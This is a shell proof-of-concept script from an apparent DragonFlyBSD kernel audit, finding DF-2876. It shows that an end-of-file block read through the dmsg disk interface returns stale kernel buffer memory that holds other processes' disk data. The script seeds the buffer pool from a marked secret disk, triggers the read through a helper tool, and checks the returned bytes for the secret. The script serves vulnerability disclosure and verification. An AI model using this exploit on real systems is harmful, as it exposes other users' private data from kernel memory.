DragonFlyBSD Kernel Audit
DF-2876 / run_f3.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2876 PoC — BLK_READ at/after EOF returns the full requested byte count
# of STALE pbuf-mem KVA (shared with physio of other processes) to the dmsg
# peer: subr_diskiocom.c:594-597 (data = bp->b_data even when nothing was
# read), :651-655 (aux attached unconditionally).
#
# 1. root creates a "secret" vn disk (16MB, distinctive pattern)
# 2. root seeds the shared pbuf pool via physio (dd if=/dev/vn0)
# 3. dmsg peer issues an EOF BLK_READ on the same disk -> reply aux must NOT
#    contain the secret, but does.
set -x
dd if=/dev/urandom of=/tmp/vnimg bs=1m count=16 2>/dev/null
# brand it so leakage is unambiguous
printf "DF2876-SECRET-MARKER-START" | dd of=/tmp/vnimg bs=1 seek=0 conv=notrunc 2>/dev/null
vnconfig -u vn0 2>/dev/null
vnconfig -c vn0 /tmp/vnimg
ls -l /dev/vn0
diskinfo /dev/vn0 | head -1

echo "=== seed pbuf pool via physio (root reads the whole secret disk) ==="
dd if=/dev/vn0 of=/dev/null bs=64k 2>&1 | tail -1

echo "=== F3: EOF read via dmsg peer (expect zeros/garbage, NOT our secret) ==="
for i in 1 2 3; do
  timeout 30 /tmp/dfpeer eofread /dev/vn0 16777216 65536 /tmp/f3_leak_$i.bin
  md5 /tmp/f3_leak_$i.bin
done

echo "=== compare with secret image content ==="
dd if=/tmp/vnimg of=/tmp/f3_secret.bin bs=64k count=1 skip=255 2>/dev/null
md5 /tmp/f3_secret.bin
for i in 1 2 3; do
  if cmp -s /tmp/f3_leak_$i.bin /tmp/f3_secret.bin; then
      echo "LEAK_RUN_$i: FULL_64K_BLOCK_MATCHES_SECRET (deterministic)"
  else
      # count matching bytes
      n=$(cmp -l /tmp/f3_leak_$i.bin /tmp/f3_secret.bin 2>/dev/null | wc -l)
      echo "LEAK_RUN_$i: diff_bytes=$n (65536-n match)"
  fi
done
echo "=== first 64 bytes of each leak ==="
for i in 1 2 3; do hexdump -C /tmp/f3_leak_$i.bin | head -2; done